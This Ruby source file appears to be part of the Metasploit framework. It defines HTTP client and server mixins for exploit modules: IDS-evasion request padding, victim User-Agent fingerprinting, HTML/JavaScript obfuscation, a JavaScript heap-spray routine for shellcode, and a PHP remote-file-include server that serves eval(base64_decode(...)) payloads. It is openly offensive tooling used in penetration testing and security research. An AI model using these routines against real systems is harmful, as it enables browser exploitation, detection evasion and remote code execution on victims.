require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'

module Msf

###
#
# This module provides methods for acting as an HTTP client when
# exploiting an HTTP server.
#
###
module Exploit::Remote::HttpClient

	#
	# Initializes an exploit module that exploits a vulnerability in an HTTP
	# server.
	#
	def initialize(info = {})
		super

		register_options(
			[
				Opt::RHOST,
				Opt::RPORT(80),
				OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
				Opt::Proxies
			], self.class
		)

		register_advanced_options(
			[
				OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests']),
				OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']),
				OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
				OptBool.new('SSL',        [ false, 'Negotiate SSL for outgoing connections', false]),
				OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']])
			], self.class
		)

		register_evasion_options(
			[
				OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
				OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
				OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
				OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
				OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]),
				OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]),
				OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),
				OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),
				OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),
				OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),
				OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),
				OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),
				OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]),
				OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]),
				OptBool.new('HTTP::pad_get_params', [false, 'Insert random, fake query string variables into the request', false]),
				OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
				OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
				OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
				OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
				OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
				OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
#
# Remaining evasions to implement
#
#				OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
#               OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
			], self.class
		)
		register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
		register_autofilter_services(%W{ http https })
	end


	#
	# Connects to an HTTP server.
	#
	def connect(opts={})

		dossl = false
		if(opts.has_key?('SSL'))
			dossl = opts['SSL']
		else
			dossl = ssl
			if (datastore.default?('SSL') and rport.to_i == 443)
				dossl = true
			end
		end

		nclient = Rex::Proto::Http::Client.new(
			rhost,
			rport.to_i,
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			},
			dossl,
			ssl_version,
			proxies
		)

		# Configure the HTTP client with the supplied parameter
		nclient.set_config(
			'vhost' => self.vhost(),
			'agent' => datastore['UserAgent'],
			'basic_auth' => self.basic_auth,
			'uri_encode_mode'        => datastore['HTTP::uri_encode_mode'],
			'uri_full_url'           => datastore['HTTP::uri_full_url'],
			'pad_method_uri_count'   => datastore['HTTP::pad_method_uri_count'],
			'pad_uri_version_count'  => datastore['HTTP::pad_uri_version_count'],
			'pad_method_uri_type'    => datastore['HTTP::pad_method_uri_type'],
			'pad_uri_version_type'   => datastore['HTTP::pad_uri_version_type'],
			'method_random_valid'    => datastore['HTTP::method_random_valid'],
			'method_random_invalid'  => datastore['HTTP::method_random_invalid'],
			'method_random_case'     => datastore['HTTP::method_random_case'],
			'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
			'uri_dir_fake_relative'  => datastore['HTTP::uri_dir_fake_relative'],
			'uri_use_backslashes'    => datastore['HTTP::uri_use_backslashes'],
			'pad_fake_headers'       => datastore['HTTP::pad_fake_headers'],
			'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],
			'pad_get_params'         => datastore['HTTP::pad_get_params'],
			'pad_get_params_count'   => datastore['HTTP::pad_get_params_count'],
			'pad_post_params'        => datastore['HTTP::pad_post_params'],
			'pad_post_params_count'  => datastore['HTTP::pad_post_params_count'],
			'uri_fake_end'           => datastore['HTTP::uri_fake_end'],
			'uri_fake_params_start'  => datastore['HTTP::uri_fake_params_start'],
			'header_folding'         => datastore['HTTP::header_folding']
		)

		# If this connection is global, persist it
		# Required for findsock on these sockets
		if (opts['global'])
			if (self.client)
				disconnect
			end

			self.client = nclient
		end

		return nclient
	end

	#
	# Passes the client connection down to the handler to see if it's of any
	# use.
	#
	def handler(nsock = nil)
		# If no socket was provided, try the global one.
		if ((!nsock) and
		    (self.client))
			nsock = self.client.conn
		end

		# If the parent claims the socket associated with the HTTP client, then
		# we rip the socket out from under the HTTP client.
		if (((rv = super(nsock)) == Handler::Claimed) and
		    (self.client) and
		    (nsock == self.client.conn))
			self.client.conn = nil
		end

		rv
	end

	#
	# Disconnects the HTTP client
	#
	def disconnect(nclient = self.client)
		if (nclient)
			nclient.close
		end

		if (nclient == self.client)
			self.client = nil
		end
	end

	#
	# Performs cleanup as necessary, disconnecting the HTTP client if it's
	# still established.
	#
	def cleanup
		super

		disconnect
	end

	#
	# Connects to the server, creates a request, sends the request, reads the response
	#
	def send_request_raw(opts={}, timeout = 20)
		begin
			c = connect(opts)
			r = c.request_raw(opts)
			resp = c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
			while(resp and resp.code == 100)
				resp = c.reread_response(resp, opts[:timeout] ? opts[:timeout] : timeout)
			end
			resp
		rescue ::Errno::EPIPE, ::Timeout::Error
			nil
		end
	end

	#
	# Connects to the server, creates a request, sends the request, reads the response
	#
	def send_request_cgi(opts={}, timeout = 20)
		begin
			c = connect(opts)
			r = c.request_cgi(opts)
			resp = c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
			while(resp and resp.code == 100)
				resp = c.reread_response(resp, opts[:timeout] ? opts[:timeout] : timeout)
			end
			resp
		rescue ::Errno::EPIPE, ::Timeout::Error
			nil
		end
	end

	#
	# Combine the user/pass into an auth string for the HTTP Client
	#
	def basic_auth
		return if not datastore['BasicAuthUser']
		datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '')
	end

	##
	#
	# Wrappers for getters
	#
	##

	#
	# Returns the target host
	#
	def rhost
		datastore['RHOST']
	end

	#
	# Returns the remote port
	#
	def rport
		datastore['RPORT']
	end

	#
	# Returns the VHOST of the HTTP server.
	#
	def vhost
		datastore['VHOST'] || datastore['RHOST']
	end

	#
	# Returns the boolean indicating SSL
	#
	def ssl
		datastore['SSL']
	end

	#
	# Returns the string indicating SSL version
	#
	def ssl_version
		datastore['SSLVersion']
	end

	#
	# Returns the configured proxy list
	#
	def proxies
		datastore['Proxies']
	end

protected

	attr_accessor :client

end


###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer

	include Msf::Exploit::Remote::TcpServer
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super

		register_options(
			[
				OptString.new('URIPATH', [ false,  "The URI to use for this exploit (default is random)"]),
			], Exploit::Remote::HttpServer
		)

		register_evasion_options(
			[
				OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
				OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
				OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
				OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
			], Exploit::Remote::HttpServer)

		@service_path = nil
	end

	#
	# By default, all HTTP servers are not subject to automatic exploitation
	#
	def autofilter
		false
	end

	#
	# Ensures that gzip can be used.  If not, an exception is generated.  The
	# exception is only raised if the DisableGzip advanced option has not been
	# set.
	#
	def use_zlib
		if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
			raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!"
		end
	end

	#
	# This method gives a derived class the opportunity to ensure that all
	# dependencies are present before initializing the service.
	#
	# By default, all HTTP server mixins will try to use zlib.
	#
	def check_dependencies
		use_zlib
	end

	#
	# This mixin starts the HTTP server listener.  This routine takes a few
	# different hash parameters:
	#
	#   ServerHost => Override the server host to listen on (default to SRVHOST).
	#   ServerPort => Override the server port to listen on (default to SRVPORT).
	#   Uri        => The URI to handle and the associated procedure to call.
	#
	def start_service(opts = {})
		check_dependencies

		# Default the server host and port to what is required by the mixin.
		opts = {
			'ServerHost' => datastore['SRVHOST'],
			'ServerPort' => datastore['SRVPORT'],
		}.update(opts)

		# Start the HTTP server service.
		self.service = Rex::ServiceManager.start(
			Rex::Proto::Http::Server,
			opts['ServerPort'].to_i,
			opts['ServerHost'],
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			}
		)

		self.service.server_name = 'Apache'

		# Default the procedure of the URI to on_request_uri if one isn't
		# provided.
		uopts = {
			'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
			'Path' => resource_uri
		}.update(opts['Uri'] || {})

		print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

		if (opts['ServerHost'] == '0.0.0.0')
			print_status(" Local IP: http://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
		end

		add_resource(uopts)
	end

	#
	# Store the results of server-side User-Agent fingerprinting in the DB.
	#
	# Returns an array containing host and client information.
	#
	def report_user_agent(address, request)
		ua = request['User-Agent'].downcase
		# always check for IE last because everybody tries to
		# look like IE
		case (ua)
			when /version\/(\d+\.\d+\.\d+).*safari/
				ua_name = HttpClients::SAFARI
				ua_ver = $1
			when /firefox\/((:?[0-9]+\.)+[0-9]+)/
				ua_name = HttpClients::FF
				ua_ver = $1
			when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/
				ua_name = HttpClients::IE
				ua_ver = $1
			else
				ua_name = HttpClients::UNKNOWN
		end
		case (ua)
			when /(en-us|en-gb)/
				os_lang = $1
		end
		case (ua)
			when /windows/
				os_name = OperatingSystems::WINDOWS
				arch = ARCH_X86
			when /linux/
				os_name = OperatingSystems::LINUX
			when /iphone/
				os_name = OperatingSystems::MAC_OSX
				arch = 'armle'
			when /mac os x/
				os_name = OperatingSystems::MAC_OSX
			else
				os_name = OperatingSystems::UNKNOWN
		end
		case (ua)
			when /windows 95/
				os_flavor = '95'
			when /windows 98/
				os_flavor = '98'
			when /windows nt 4/
				os_flavor = 'NT'
			when /windows nt 5.0/
				os_flavor = '2000'
			when /windows nt 5.1/
				os_flavor = 'XP'
			when /windows nt 5.2/
				os_flavor = '2003'
			when /windows nt 6.0/
				os_flavor = 'Vista'
			when /windows nt 6.1/
				os_flavor = '7'
			when /gentoo/
				os_flavor = 'Gentoo'
			when /debian/
				os_flavor = 'Debian'
			when /ubuntu/
				os_flavor = 'Ubuntu'
			else
				os_flavor = ''
		end
		case (ua)
			when /ppc/
				arch = ARCH_PPC
			when /x64|x86_64/
				arch = ARCH_X86_64
			when /i.86|wow64/
				# WOW64 means "Windows on Windows64" and is present
				# in the useragent of 32-bit IE running on 64-bit
				# Windows
				arch = ARCH_X86
			else
				arch = ARCH_X86
		end
		host = {
			:address   => address,
			:host      => address,
			:os_name   => os_name,
			:os_flavor => os_flavor,
			:os_lang   => os_lang || 'en',
			:arch      => arch
		}
		report_host(host)
		client = {
			:host      => address,
			:ua_string => request['User-Agent'],
			:ua_name   => ua_name,
			:ua_ver    => ua_ver
		}
		report_client(client)
		report_note(
			:host => address,
			:type => 'http_request',
			:data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}"
		)
		return [host, client]
	end

	#
	# Adds a URI resource using the supplied hash parameters.
	#
	#   Path     => The path to associate the procedure with.
	#   Proc     => The procedure to call when the URI is requested.
	#   LongCall => Indicates that the request is a long call.
	#
	def add_resource(opts)
		@service_path = opts['Path']
		service.add_resource(opts['Path'], opts)
	end

	#
	# Returns the last-used resource path
	#
	def get_resource
		# We don't want modules modifying their service_path inadvertantly, so
		# give them a dup.  Can be nil during module setup.
		@service_path ? @service_path.dup : nil
	end

	#
	# Removes a URI resource.
	#
	def remove_resource(name)
		service.remove_resource(name)
	end

	#
	# Closes a client connection.
	#
	def close_client(cli)
		service.close_client(cli)
	end

	#
	# Creates an HTTP response packet.
	#
	def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
		res = Rex::Proto::Http::Response.new(code, message, proto);
		res['Content-Type'] = 'text/html'
		res
	end

	#
	# Transmits a response to the supplied client, default content-type is text/html
	#
	# Payload evasions are implemented here!
	#
	def send_response(cli, body, headers = {})
		response = create_response
		response['Content-Type'] = 'text/html'
		response.body = body

		if (datastore['HTTP::compression'])
			self.use_zlib # make sure...
			response.compress = datastore['HTTP::compression']
		end

		if (datastore['HTTP::chunked'] == true)
			response.auto_cl = false
			response.transfer_chunked = true
		end

		if (datastore['HTTP::header_folding'] == true)
			response.headers.fold = 1
		end

		if (datastore['HTTP::junk_headers'] == true)
			response.headers.junk_headers = 1
		end

		headers.each_pair { |k,v| response[k] = v }

		cli.send_response(response)
	end

	#
	# Sends a 302 redirect to the client
	#
	def send_redirect(cli, location='/', body='')
		response = create_response(302, 'Moved')
		response['Content-Type'] = 'text/html'
		response['Location'] = location
		response.body = body

		cli.send_response(response)
	end


	#
	# Sends a 302 redirect relative to our base path
	#
	def send_local_redirect(cli, location)
		send_redirect(cli, get_resource + location)
	end


	#
	# Sends a 404
	#
	def send_not_found(cli)
		resp_404 = create_response(404, 'Not Found')
		resp_404.body = %Q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}

		cli.send_response(resp_404)
	end


	#
	# Returns the configured (or random, if not configured) URI path
	#
	def resource_uri
		path = datastore['URIPATH'] || random_uri
		path = '/' + path if path !~ /^\//
		return path
	end


	#
	# Generates a random URI for use with making finger printing more
	# challenging.
	#
	def random_uri
		"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
	end

	#
	# Re-generates the payload, substituting the current RHOST and RPORT with
	# the supplied client host and port.
	#
	def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
		pcode = nil

		# If the payload fails to generate for some reason, send a 403.
		if ((pcode = super(cli, arch, platform, target)) == nil)
			print_error("Failed to generate payload, sending 403.")

			cli.send_response(
				create_response(403, 'Forbidden'))

			return nil
		end
		pcode
	end

	##
	#
	# Override methods
	#
	##

	#
	# Called when a request is made to a single URI registered during the
	# start_service.  Subsequent registrations will not result in a call to
	# on_request_uri.
	#
	def on_request_uri(cli, request)
	end

end

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::HttpServer

protected

	def initialize(info = {})
		super

		register_evasion_options(
			[
				# utf-8, utf-7 and utf-7-all are currently not supported by
				# most browsers.  as such, they are not added by default.  The
				# mixin supports encoding using them, however they are not
				# listed in the Option.
				OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
				OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
				OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)',  0]),
			], Exploit::Remote::HttpServer::HTML)
	end

	#
	# Obfuscates symbols found within a javascript string.
	#
	# Returns an ObfuscateJS object
	#
	def obfuscate_js(javascript, opts)
		js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
		js.obfuscate
		return js
	end

	#
	# Encrypts a given javascript string using the provided key.
	#
	# Returns a string containing the encrypted string and a loader
	#
	def encrypt_js(javascript, key)
		js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
	end

	#
	# Returns the heaplib javascript, including any custom javascript supplied
	# by the caller.
	#
	def heaplib(custom_js = '')
		Rex::Exploitation::HeapLib.new(custom_js).to_s
	end

	def js_base64
		js = <<-ENDJS
			// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
			// variable names changed to make obfuscation easier
			var Base64 = {
				// private property
				_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

				// private method
				_utf8_encode : function ( input ){
					input = input.replace(/\\r\\n/g,"\\n");
					var utftext = "";
					var input_idx;

					for (input_idx = 0; input_idx < input.length; input_idx++) {
						var chr = input.charCodeAt(input_idx);
						if (chr < 128) {
							utftext += String.fromCharCode(chr);
						}
						else if((chr > 127) && (chr < 2048)) {
							utftext += String.fromCharCode((chr >> 6) | 192);
							utftext += String.fromCharCode((chr & 63) | 128);
						} else {
							utftext += String.fromCharCode((chr >> 12) | 224);
							utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
							utftext += String.fromCharCode((chr & 63) | 128);
						}
					}

					return utftext;
				},

				// public method for encoding
				encode : function( input ) {
					var output = "";
					var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
					var input_idx = 0;

					input = Base64._utf8_encode(input);

					while (input_idx < input.length) {
						chr1 = input.charCodeAt( input_idx++ );
						chr2 = input.charCodeAt( input_idx++ );
						chr3 = input.charCodeAt( input_idx++ );

						enc1 = chr1 >> 2;
						enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
						enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
						enc4 = chr3 & 63;

						if (isNaN(chr2)) {
							enc3 = enc4 = 64;
						} else if (isNaN(chr3)) {
							enc4 = 64;
						}
						output = output +
						this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
						this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
					}
					return output;
				},
				// public method for decoding
				decode : function (input) {
					var output = "";
					var chr1, chr2, chr3;
					var enc1, enc2, enc3, enc4;
					var i = 0;

					input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");

					while (i < input.length) {

						enc1 = this._keyStr.indexOf(input.charAt(i++));
						enc2 = this._keyStr.indexOf(input.charAt(i++));
						enc3 = this._keyStr.indexOf(input.charAt(i++));
						enc4 = this._keyStr.indexOf(input.charAt(i++));

						chr1 = (enc1 << 2) | (enc2 >> 4);
						chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
						chr3 = ((enc3 & 3) << 6) | enc4;

						output = output + String.fromCharCode(chr1);

						if (enc3 != 64) {
							output = output + String.fromCharCode(chr2);
						}
						if (enc4 != 64) {
							output = output + String.fromCharCode(chr3);
						}

					}

					output = Base64._utf8_decode(output);

					return output;

				},
				_utf8_decode : function (utftext) {
					var string = "";
					var input_idx = 0;
					var chr1 = 0;
					var chr2 = 0;
					var chr3 = 0;

					while ( input_idx < utftext.length ) {

						chr1 = utftext.charCodeAt(input_idx);

						if (chr1 < 128) {
							string += String.fromCharCode(chr1);
							input_idx++;
						}
						else if((chr1 > 191) && (chr1 < 224)) {
							chr2 = utftext.charCodeAt(input_idx+1);
							string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
							input_idx += 2;
						} else {
							chr2 = utftext.charCodeAt(input_idx+1);
							chr3 = utftext.charCodeAt(input_idx+2);
							string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
							input_idx += 3;
						}
					}

					return string;
				}


			};

		ENDJS
		opts = {
			'Symbols' => {
				'Variables' => [
					'Base64', 'encoding',
					'result', '_keyStr',
					'encoded_data',
					'utftext', 'input_idx',
					'input', 'output',
					'chr', 'chr1', 'chr2', 'chr3',
					'enc1', 'enc2', 'enc3', 'enc4'
				],
				'Methods' => [
					'_utf8_encode', '_utf8_decode',
					'encode', 'decode'
				]
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

		return js
	end

	def js_heap_spray
		js = %Q|
			var memory = new Array();
			function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
				var index;
				var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
				var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
				while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
				while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }

				var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
				while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
				retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);

				var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
				for (index = 0; index < heapBlockCnt; index++) {
					memory[index] = retSlide + shellcode;
				}
			}
		|
		opts = {
			'Symbols' => {
				'Variables' => [
					'shellcode',
					'retSlide',
					'payLoadSize',
					'memory',
					'index',
					'heapSprayAddr_lo',
					'heapSprayAddr_hi',
					'heapSprayAddr',
					'heapBlockSize',
					'heapBlockCnt',
				],
				'Methods' => [ 'sprayHeap' ]
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		return js
	end

	def js_os_detect
		return ::Rex::Exploitation::JavascriptOSDetect.new
	end

	# Transmits a html response to the supplied client
	#
	# HTML evasions are implemented here.
	def send_response_html(cli, body, headers = {})
		if datastore['HTML::base64'] != 'none'
			case datastore['HTML::base64']
				when 'plain'
					body = Rex::Text.encode_base64(body)
				when 'single_pad'
					body = Rex::Text.encode_base64(' ' + body)
				when 'double_pad'
					body = Rex::Text.encode_base64('  ' + body)
				when 'random_space_injection'
					body = Rex::Text.encode_base64(body)
					new = ''
					while (body.size > 0)
						new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
					end
					body = new
			end

			body = 	'<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
					'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
					body + '">Could not render object</OBJECT></BODY></HTML>'
		end

		if datastore['HTML::javascript::escape'] > 0
			datastore['HTML::javascript::escape'].times {
				body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
			}
		end

		if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
			headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode']
			body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
		else
			# special cases
			case datastore['HTML::unicode']
				when 'utf-16be-marker'
					headers['Content-Type'] = 'text/html'
					body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
				when 'utf-7-all'
					headers['Content-Type'] = 'text/html; charset: utf-7'
					body = Rex::Text.to_unicode(body, 'utf-7', 'all')
				when 'none'
					# do nothing
				else
					raise RuntimeError, 'Invalid unicode.  how did you get here?'
			end
		end

		send_response(cli, body, headers)
	end

end


###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude

	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})

		# Override TCPServer's stance of passive
		super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))

		register_evasion_options(
			[
				OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
			], Exploit::Remote::HttpServer::PHPInclude
		)
	end

	#
	# Override exploit() to handle service start/stop
	#
	def exploit
		start_service
		print_status("PHP include server started.");

		php_exploit

		select(nil, nil, nil, 5)
		stop_service
	end

	#
	# Transmits a PHP payload to the web application
	#
	def send_php_payload(cli, body, headers = {})

		case datastore['PHP::Encode']
		when 'base64'
			body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
		when 'none'
			body = "<?php #{body} ?>"
		end

		send_response(cli, body, headers)
	end

	#
	# Handle an incoming PHP code request
	#
	def on_request_uri(cli, request, headers={})
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Send it to the application
		send_php_payload(cli, p.encoded, headers)
	end

	#
	# Return the PHP include URL (pre-encoded)
	#
	def php_include_url(sock=nil)
		addr = datastore['SRVHOST']
		if (addr == "0.0.0.0")
			addr = Rex::Socket.source_address( sock ? sock.peerhost : '1.2.3.4')
		end
		"http://#{addr}:#{datastore['SRVPORT']}#{get_resource()}?"
	end


end
end

